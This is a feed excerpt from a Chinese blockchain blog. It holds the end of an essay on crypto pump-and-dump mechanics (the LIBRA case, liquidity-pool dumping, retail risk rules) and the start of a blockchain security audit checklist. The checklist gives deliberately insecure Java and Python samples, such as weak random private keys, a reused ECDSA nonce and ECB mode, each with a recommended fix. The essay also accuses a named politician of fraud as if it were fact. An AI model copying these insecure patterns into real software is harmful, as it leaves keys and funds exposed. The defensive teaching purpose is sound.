class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">T0 (发币): 总量10亿，Dev控制765M (76.5%)</span><br><span class="line">     ↓</span><br><span class="line">T1 (24h): 快速拉升制造FOMO，市值达到1.5亿</span><br><span class="line">     ↓  </span><br><span class="line">T2 (48h): 开始通过单边池悄然出货</span><br><span class="line">     ↓</span><br><span class="line">T3 (72h): 加速出货，但维持价格稳定假象</span><br><span class="line">     ↓</span><br><span class="line">T4 (96h): 突然撤池+抛售，价格暴跌95%</span><br><span class="line">     ↓</span><br><span class="line">T5 (删帖): 米莱删除所有相关推文，彻底跑路</span><br></pre></td></tr></table></figure><p><strong>为什么散户毫无察觉？</strong></p><ol><li><p><strong>隐蔽性极强</strong>：</p><ul><li>通过流动性池出货通常不会在常见“交易流/成交明细”看板中显示为“卖出”</li><li>分散到10个地址操作，难以追踪</li><li>使用单边池&quot;被动&quot;出货，看似提供流动性</li></ul></li><li><p><strong>心理操控</strong>：</p><ul><li>利用总统身份背书，散户放松警惕</li><li>参考Trump成功案例，制造&quot;这次不同&quot;幻觉</li><li>KOL集体唱多，营造上涨氛围</li></ul></li><li><p><strong>技术障碍</strong>：</p><ul><li>大部分散户不理解单边流动性池机制</li><li>缺乏链上数据分析能力</li><li>依赖二手信息，反应滞后</li></ul></li></ol><p><strong>关键教训</strong></p><ol><li><strong>信任危机</strong>：连国家总统都可能是骗子，加密市场毫无底线</li><li><strong>技术认知</strong>：不懂流动性池机制的人，在DEX时代就是待宰羔羊</li><li><strong>工具依赖</strong>：仅靠“Smart Money 买卖流”面板是不足的，必须监控流动性与池子结构变化</li><li><strong>风险意识</strong>：任何&quot;名人币&quot;都可能是收割，包括总统</li></ol><p><strong>防范策略升级</strong></p><p>基于LIBRA案例，散户必须升级防范策略：</p><ol><li><strong>流动性监控</strong>：重点关注单边加池行为</li><li><strong>地址分析</strong>：追踪代币分配和转账网络</li><li><strong>多维验证</strong>：不能只看一个维度的数据</li><li><strong>快速止损</strong>：发现异常立即离场，不要幻想</li></ol><p>提示：在该市场中，对手可能包括大型资金体、政治/商业人物或专业化诈骗团伙。风险管理的优先级通常高于收益最大化。</p><h2 id="7-散户实战策略框架">7. 散户实战策略框架</h2><h3 id="7-1-风险控制体系">7.1 风险控制体系</h3><p><strong>动态仓位管理：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord text"><span class="mord cjk_fallback">每笔投资金额</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord text"><span class="mord cjk_fallback">总资产</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord text"><span class="mord cjk_fallback">风险系数</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord cjk_fallback">最大持仓数</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord cjk_fallback">当前持仓数</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></span></p><p><strong>多层次止损系统：</strong></p><ul><li>时间止损：最大持仓72小时</li><li>条件止损：流动性降低&gt;50%时立即平仓</li><li>动态止损：盈利&gt;30%后上调止损位</li></ul><h3 id="7-2-散户生存策略的三种范式（方法学提炼）">7.2 散户生存策略的三种范式（方法学提炼）</h3><p>本节将经验性做法抽象为三类可复用范式，强调机制与过程，而非操作清单：</p><p><strong>范式一：跟随型（Follow-the-Operator）</strong></p><ul><li>目标：在可识别的操盘足迹下获取有限超额收益</li><li>机制：以“低位减池+单边加基准币”等联立信号作为必要条件，结合资金分散与严格风控</li><li>代价：胜率依赖信号质量与执行纪律，回撤控制优先于收益最大化</li></ul><p><strong>范式二：情绪对冲（Counter-Sentiment）</strong></p><ul><li>目标：利用极端情绪作为反向条件进行仓位调整</li><li>机制：结合情绪指标（如Fear &amp; Greed）与媒介关注度阈值，形成分段调仓规则</li><li>代价：需要容忍与大众观点的背离，严格的资金与时间止损为必要条件</li></ul><p><strong>范式三：生态押注（Ecosystem Allocation）</strong></p><ul><li>目标：以生态与基础设施的长期演进为主线，降低单点失败风险</li><li>机制：以BTC/ETH等基础层为核心，配合具备真实使用场景的协议代币，保留小比例探索性仓位</li><li>代价：放弃“单点暴富”的可能性，转而追求可持续的风险调整后收益</li></ul><p>上述范式的共同点在于：以约束为中心的设计（仓位上限、时间/条件止损、信息验证门槛）通常比“选哪个标的”更决定结果分布。</p><h3 id="7-3-信号—决策范式图（示意）">7.3 信号—决策范式图（示意）</h3><pre><code class="highlight mermaid">graph TD    A[监控小市值标的] --&gt; B&#123;流动性池变化&#125;    B --&gt;|低位减池+单边加SOL| C[庄家准备拉盘]    B --&gt;|高位大量减池| D[庄家出货离场]    B --&gt;|突然撤池50万+| E[异常操作预警]    C --&gt; F[小额试探性建仓]    F --&gt; G[规则化止盈止损]    G --&gt; H&#123;后续池子变化&#125;    H --&gt;|继续单边加池| I[持有/观望]    H --&gt;|开始减池| J[分批退出]    D --&gt; K[迅速减仓/退出]    E --&gt; L[评估二次波动概率]    I --&gt; H    J --&gt; M[完成获利]    K --&gt; M    L --&gt; N&#123;评估风险收益比&#125;    N --&gt;|风险可控| F    N --&gt;|风险过高| O[放弃操作]    style C fill:#e8f5e8    style D fill:#ffebee    style F fill:#e3f2fd    style K fill:#fff3e0    style M fill:#f1f8e9</code></pre><h2 id="8-讨论">8. 讨论</h2><h3 id="8-1-暴富的残酷真相：类型与机制">8.1 暴富的残酷真相：类型与机制</h3><p><strong>可持续盈利者的类型</strong></p><p>在公开样本与实务观察中，显性暴富路径可分为以下类型：</p><p><strong>第一类：时机型暴富者</strong></p><ul><li><strong>典型案例</strong>：2020年DeFi Summer的参与者，2021年NFT浪潮的早期玩家</li><li><strong>成功要素</strong>：足够的胆量+恰好的时机+持有到合适的时点</li><li><strong>关键洞察</strong>：他们不是因为&quot;更聪明&quot;而成功，而是因为在&quot;对的时间做了对的事&quot;</li></ul><p>（轶事型证据省略；个体极端案例难以外推，统计意义有限。）</p><p><strong>第二类：信息型暴富者</strong></p><ul><li><strong>典型案例</strong>：某些KOL、项目方内部人员、VC机构</li><li><strong>成功要素</strong>：信息来源+资金实力+执行能力</li><li><strong>关键洞察</strong>：他们的成功建立在信息不对称的基础上，本质上是利用了信息垄断</li></ul><p><strong>第三类：技术型暴富者</strong></p><ul><li><strong>典型案例</strong>：MEV机器人运营者、套利程序开发者、量化交易团队</li><li><strong>成功要素</strong>：技术优势+资金实力+风险管理</li><li><strong>关键洞察</strong>：他们赚的是&quot;技术红利&quot;，但随着竞争加剧，这种红利正在快速消失</li></ul><p><strong>第四类：操控型暴富者</strong></p><ul><li><strong>典型案例</strong>：庄家团队、大户联盟、项目方</li><li><strong>成功要素</strong>：资金实力+操控手段+风险承担</li><li><strong>关键洞察</strong>：他们是市场的&quot;做局者&quot;，而不是&quot;参与者&quot;</li></ul><p><strong>暴富的概率结构</strong></p><p>从“机会×优势×执行×运气”的乘法结构可得：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord text"><span class="mord cjk_fallback">暴富成功率</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord text"><span class="mord cjk_fallback">市场机会</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord text"><span class="mord cjk_fallback">信息优势</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord text"><span class="mord cjk_fallback">资金实力</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord text"><span class="mord cjk_fallback">执行能力</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord text"><span class="mord cjk_fallback">运气因素</span></span></span></span></span></span></p><ul><li><strong>散户群体（约95%）</strong>：暴富概率 &lt; 0.1%，总体期望值偏低</li><li><strong>专业投资者（约4%）</strong>：暴富概率1-5%，偏重稳定收益</li><li><strong>内圈人员（约1%）</strong>：暴富概率可显著提升（信息与资源优势）</li></ul><p><strong>结构性结论</strong></p><p>经过这几年的观察，我得出一个残酷的结论：<strong>在加密市场中，绝大多数的暴富都不是因为&quot;投资能力强&quot;，而是因为&quot;站在了食物链的上游&quot;。</strong></p><p>那些真正赚到大钱的人，要么是项目方，要么是早期投资人，要么是庄家，要么是掌握内幕信息的KOL。普通散户无论多么努力学习，多么认真分析，在信息差和资金差面前都显得无力。</p><p>该市场并非严格意义上的“公平博弈”。理解规则与结构后，普通参与者至少可以避免处于最不利的位置。</p><h2 id="结语">结语</h2><ul><li>命题一：价格的一级驱动是“流动性结构×筹码分布”，叙事只是点火器。理解池深变化与单边加/减池，比“故事真假”更能解释短期波动。</li><li>命题二：在恒定乘积近似下，把价格从 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 推到 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 的成本随 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.04em;vertical-align:-0.1883em;"></span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8517em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.8117em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1883em;"><span></span></span></span></span></span></span></span></span> 变化，量级由初始 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 与基准币价格共同决定；固定系数公式不具普适性。</li><li>命题三：DLMM 将“抡锤”变成“手术刀”——通过 Bin 分布与单边流动性配置，低成本制造价格跳跃与错觉，识别应回到区间与单边行为。</li><li>命题四：四类典型操盘语法（扩/缩池、单边加池、锁仓挖矿、跨池价差）常以组合拳出现；任何单一信号不足以构成充分条件。</li><li>命题五：链上“证据”多为相关性；人物与舆论关联须以“未经权威证实”对待。方法学上，应优先验证机制一致性与数据可复现性。</li><li>命题六：与其寻找永恒策略，不如构建约束系统（仓位上限、止损条件、信息验证门槛）；在不完全市场中，约束常优于“观点正确”。</li></ul><p>以上六点概括了本文的底层立场：在情绪主导、结构不完全的市场里，以机制—数据的一致性优先于叙事与经验法。</p><hr><p><strong>风险提示：</strong> 本文仅供学习和研究目的，不构成投资建议。加密货币投资存在极大风险，请理性投资，风险自担。</p><h2 id="参考文献">参考文献</h2><p><em>注：本研究基于公开链上数据与案例分析，相关数据来源包括链上浏览器（如 Solscan）与公开的链上数据/情报平台。</em></p><blockquote><p><a href="https://x.com/Normanrockon/status/1898757348732145894">https://x.com/Normanrockon/status/1898757348732145894</a></p><p><a href="https://x.com/wsjack_eth/status/1898233695523553410">https://x.com/wsjack_eth/status/1898233695523553410</a></p></blockquote><pre><code class="highlight mermaid"></code></pre>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/career/crypto-beyond-alpha-and-manipulation/</id>
    <link href="https://www.blog-blockchain.xyz/career/crypto-beyond-alpha-and-manipulation/"/>
    <published>2025-02-26T03:11:20.000Z</published>
    <summary>(1)AMM恒定乘积公式下，拉盘成本与目标市值平方根成正比；(2)流动性池操控是现代坐庄的核心技术；(3)散户可通过系统性工具和策略在庄家博弈中寻找生存空间。本研究为理解加密市场操控机制和构建风险管理体系提供理论基础和实践指导。</summary>
    <title>从 Alpha 到坐庄：不充分市场中的暴富</title>
    <updated>2026-02-19T16:18:01.138Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="audit" scheme="https://www.blog-blockchain.xyz/categories/audit/"/>
    <category term="blockchain" scheme="https://www.blog-blockchain.xyz/tags/blockchain/"/>
    <content>
      <![CDATA[<h2 id="前言">前言</h2><p>【文档使用范围与目标读者】<br>本审计清单适用于从事区块链开发、安全审计，或对区块链底层安全感兴趣的技术人员和研究人员。我们假设读者对区块链基本概念（区块、交易、合约等）已有一定了解，但可能对密码学、P2P 网络、共识机制、跨链通信等专业领域的安全风险尚不完全熟悉。</p><p>【关键术语释义】</p><ul><li>熵源：指生成随机数时所依赖的随机性来源，如操作系统随机数设备、硬件随机数模块等。熵源的质量直接决定私钥或交易nonce的安全性。</li><li>共识机制：区块链中达成一致状态的协议，如PoW、PoS、BFT等。若共识机制有漏洞，可能导致双花、长程攻击或分叉。</li><li>VM安全（虚拟机安全）：区块链上运行合约的执行环境（如EVM、WASM）。任何虚拟机级别的安全缺陷都会导致合约逻辑被恶意利用。</li></ul><p>基于 SlowMist 提供的大量公链安全审计点与真实漏洞示例，本报告从密码学安全到业务逻辑进行系统化归纳，帮助审计人员快速识别关键风险，并在不同层面实施针对性防护。<br>具体而言，我们先审视区块链的底层依赖——如随机数熵源与签名算法安全（密码学安全），再向上延伸到交易和账户机制、P2P 网络和节点通信、RPC 服务调用等日常交互环节。随后，我们从共识和激励机制、跨链通信及代码审计角度深挖潜在漏洞，最后聚焦虚拟机安全和业务逻辑设计，以保障整个生态的稳健性。</p><p>通过这份清单式审计报告，审计人员可以沿着“自下而上”的审计思路逐项排查：一旦任何模块出现薄弱点，都可依照文中详细的“漏洞描述—原因分析—风险等级—漏洞影响—示例代码—修复建议”流程进行快速诊断和修复。<br>我们希望本报告能为公链安全审计提供一个系统而实用的参考，协助读者有效提升区块链系统在密码学、网络、合约与业务逻辑等多维度的整体安全性。</p><blockquote><p>Acknowledgement: 感谢 slowMist 团队提供的审计报告，让我们能够更好的了解区块链安全审计的要点。感谢 <a href="https://github.com/BradMoonUESTC">xueyue</a> 的初步整理checklist，我按照此 list 编排内容。</p></blockquote><h2 id="密码学安全审计">密码学安全审计</h2><p>本章节主要聚焦于密码学层面的审计要点，包括随机数安全、加密算法安全、哈希与签名算法、密钥管理、以及如何识别和防范典型的密码学漏洞。</p><h3 id="A-随机数安全">A. 随机数安全</h3><p>很多密码学功能（私钥生成、签名nonce、对称加密密钥等）都依赖高质量的随机数。一旦随机数可预测或重复，整个系统的安全性将面临严重威胁。以下小结从“私钥随机”“签名nonce随机”“对称加密随机”三个角度进行说明。</p><h4 id="A1-私钥随机数熵检查">A1. 私钥随机数熵检查</h4><ul><li><p><strong>Description</strong></p><p>在生成私钥或核心随机种子时，如果熵源不足或使用不安全的随机数生成器（如 <code>java.util.Random</code>），就会导致可预测的随机数，从而私钥被推断。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>使用不可预测性不足的 PRNG（Pseudo-Random Number Generator）；</li><li>仅依赖时间戳或设备信息等低熵源。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者可以推算出私钥或核心随机数；</li><li>造成资产被盗、签名被仿造等严重后果。</li></ul></li><li><p><strong>Example Code</strong> (不安全示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">InsecureKeyGenerator</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> BigInteger <span class="title function_">generatePrivateKey</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 使用不安全的Random</span></span><br><span class="line">        <span class="type">Random</span> <span class="variable">random</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Random</span>();</span><br><span class="line">        <span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">32</span>];</span><br><span class="line">        random.nextBytes(bytes);</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">BigInteger</span>(<span class="number">1</span>, bytes);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Python 也可能出现类似问题，如使用 random.random() 而非安全函数：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> random</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">insecure_key</span>():</span><br><span class="line">    <span class="comment"># 不安全：random.random() 过于可预测</span></span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">int</span>(random.random() * <span class="number">1e10</span>)</span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>务必使用操作系统提供的安全随机数，如 SecureRandom（Java）、secrets（Python）、/dev/urandom（Linux）。</li><li>提高熵源质量，混合系统事件、硬件随机等.</li><li>对生成私钥流程进行审计与监控，避免在日志或输出中意外泄露。</li></ol></li></ul><h4 id="A2-签名-nonce-随机性（secp256k1-k-值等）">A2. 签名 nonce 随机性（secp256k1 k 值等）</h4><ul><li><p><strong>Description</strong></p><p>在 ECDSA（尤其 secp256k1）签名中，一旦签名使用的 k 值被重复或预测，私钥即会被推断。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>在多个签名中重复使用相同 k；</li><li>使用不安全的随机数生成器，导致 k 可被预测；</li><li>忽视了RFC6979确定性 k 值方案。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>私钥被直接推断，进而资金被盗或签名被伪造；</li><li>常见历史案例如 PS3 ECDSA 重复 k（破解 Sony 私钥）。</li></ul></li><li><p><strong>Example Code</strong> (不安全示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">InsecureECDSA</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="type">BigInteger</span> <span class="variable">k</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> ECDSASignature <span class="title function_">sign</span><span class="params">(<span class="type">byte</span>[] message, BigInteger privateKey)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (k == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="comment">// 使用可预测Random或重复k</span></span><br><span class="line">            k = BigInteger.valueOf(<span class="number">123456L</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// ...签名过程</span></span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">ECDSASignature</span>(...);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>每次签名必须生成新的 k 值，或使用 <a href="https://tools.ietf.org/html/rfc6979">RFC6979</a> 确定性 k 算法；</li><li>切勿将 k 值存在全局变量或静态字段里；应使用安全随机数（如 SecureRandom）。</li><li>对 nonce 重复或冲突进行检测，一旦发现需立即更换相关私钥。</li></ol></li></ul><h4 id="A3-对称加密密钥随机性">A3. 对称加密密钥随机性</h4><ul><li><p><strong>Description</strong></p><p>若对称密钥依赖的随机数质量不足，攻击者可在短时间内暴力破解或推断，加密形同虚设。常见错误：仅用时间戳或进程ID做种子；或使用 Random(System.currentTimeMillis())。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>过短的种子或不够“随机”的种子来源；</li><li>开发时为方便调试或图省事，使用伪随机数。</li></ul></li><li><p><strong>Severity</strong></p><p>High / Medium</p></li><li><p><strong>Impact</strong></p><ul><li>加密数据在短时间内可被暴力破解；</li><li>敏感通信或存储形同虚设。</li></ul></li><li><p><strong>Example Code</strong> (不安全示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LowEntropyRandom</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">byte</span>[] generateKey() &#123;</span><br><span class="line">        <span class="type">Random</span> <span class="variable">rand</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Random</span>(System.currentTimeMillis());</span><br><span class="line">        <span class="type">byte</span>[] key = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">16</span>];</span><br><span class="line">        rand.nextBytes(key);</span><br><span class="line">        <span class="keyword">return</span> key;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> random</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">generate_symmetric_key</span>():</span><br><span class="line">    <span class="comment"># 不安全：只用random和time做种子</span></span><br><span class="line">    key = <span class="built_in">bytearray</span>(<span class="number">16</span>)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">16</span>):</span><br><span class="line">        key[i] = <span class="built_in">int</span>(random.random() * <span class="number">256</span>)</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">bytes</span>(key)</span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>对高安全场景（银行/金融）可使用硬件随机模块 (HSM/TRNG)。</li><li>定期评估熵值，避免产品上线后依旧留用开发时期的临时随机方案。</li></ol></li></ul><h3 id="B-加密算法安全">B. 加密算法安全</h3><p>在确保随机数安全之后，还需要评估加密算法是否过时或弱化，如对称算法、哈希算法、签名算法的安全性和强度等。</p><h4 id="B1-对称加密算法的理论可靠性">B1. 对称加密算法的理论可靠性</h4><ul><li><p><strong>Description</strong></p><p>不安全算法（DES/RC4）或不安全模式（ECB）已被淘汰，如仍在使用，极易被暴力破解或分析攻击。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>仍在使用旧的加密方式 (DES/3DES 在某些模式下已不安全)；</li><li>选择AES时用 ECB 等模式，不具备随机化特性，容易出现明文模式泄露。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>敏感数据可被加密分析或统计攻击还原；</li><li>攻击者借助云计算资源进行快速爆破。</li></ul></li><li><p><strong>Example Code</strong> (不安全示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LegacyCipher</span> &#123;</span><br><span class="line">    <span class="comment">// 使用ECB模式且密钥强度不足</span></span><br><span class="line">    <span class="keyword">public</span> Cipher <span class="title function_">getECBCipher</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="keyword">return</span> Cipher.getInstance(<span class="string">&quot;AES/ECB/PKCS5Padding&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>使用 AES-128/GCM 或以上强度的算法，并选择安全分组模式 (CBC, GCM, CTR 等)；</li><li>避免使用 DES、RC4、ECB 模式等已被证实不安全方案；</li><li>定期跟随国际加密算法标准的演进（NIST/FIPS），更新加密组件。</li></ol></li></ul><h4 id="B2-哈希算法的理论可靠性">B2. 哈希算法的理论可靠性</h4><ul><li><p><strong>Description</strong></p><p>弱哈希算法 (MD5, SHA-1) 存在碰撞或长度扩展攻击等漏洞，不再适合安全敏感场景（签名、数据完整性等）。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>出于兼容性或历史原因仍用 MD5/SHA-1；</li><li>认为“撞库攻击成本高”，而忽视现代 GPU、ASIC 的算力提升。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>出现哈希碰撞或伪造，导致完整性验证失效；</li><li>交易、文件或合约的校验缺乏真正安全性。</li></ul></li><li><p><strong>Example Code</strong> (不安全示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HashExample</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">insecureHash</span><span class="params">(String 